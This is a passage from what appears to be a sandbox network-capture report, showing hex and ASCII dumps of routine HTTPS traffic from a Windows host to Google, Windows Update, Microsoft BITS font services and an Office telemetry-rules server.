2024-11-24 01:13:14 UTC	644	IN	Data Raw: 72 65 6c 65 61 73 65 22 2c 22 6e 76 69 64 69 61 20 67 65 66 6f 72 63 65 20 72 74 78 20 35 30 39 30 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 2c 22 6a 61 67 75 61 72 20 63 61 72 73 22 2c 22 6b 65 61 6e 75 20 6b 6f 68 74 20 61 6c 61 62 61 6d 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 Data Ascii: release","nvidia geforce rtx 5090","aurora borealis forecast","jaguar cars","keanu koht alabama"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestde
2024-11-24 01:13:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.181.100	443	2992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:14 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 01:13:15 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 01:13:14 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 01:13:15 UTC	372	IN	Data Raw: 31 65 30 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e04)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700319,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-24 01:13:15 UTC	370	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-24 01:13:15 UTC	384	IN	Data Raw: 31 37 39 0d 0a 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 Data Ascii: 179\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyH
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c Data Ascii: 8000Finite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnul
2024-11-24 01:13:15 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c Data Ascii: function(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	142.250.181.100	443	2992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:14 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 01:13:15 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 01:13:14 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 01:13:15 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-24 01:13:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49749	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 01:13:18 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=202813 Date: Sun, 24 Nov 2024 01:13:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d2omb6MvlMgrUyz&MD=Y+yMdoHD HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 01:13:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ef1a07a9-0dd6-4db0-b7b4-1871cc7c8f86 MS-RequestId: 4a15f005-ec14-425e-ac72-da2b4974b2d6 MS-CV: WH+Wi/PlH06O171V.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 01:13:18 GMT Connection: close Content-Length: 24490
2024-11-24 01:13:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 01:13:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 01:13:20 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=202789 Date: Sun, 24 Nov 2024 01:13:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-24 01:13:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:13:57 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011357Z-178bfbc474bv587zhC1NYCny5w000000053g00000000bkcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
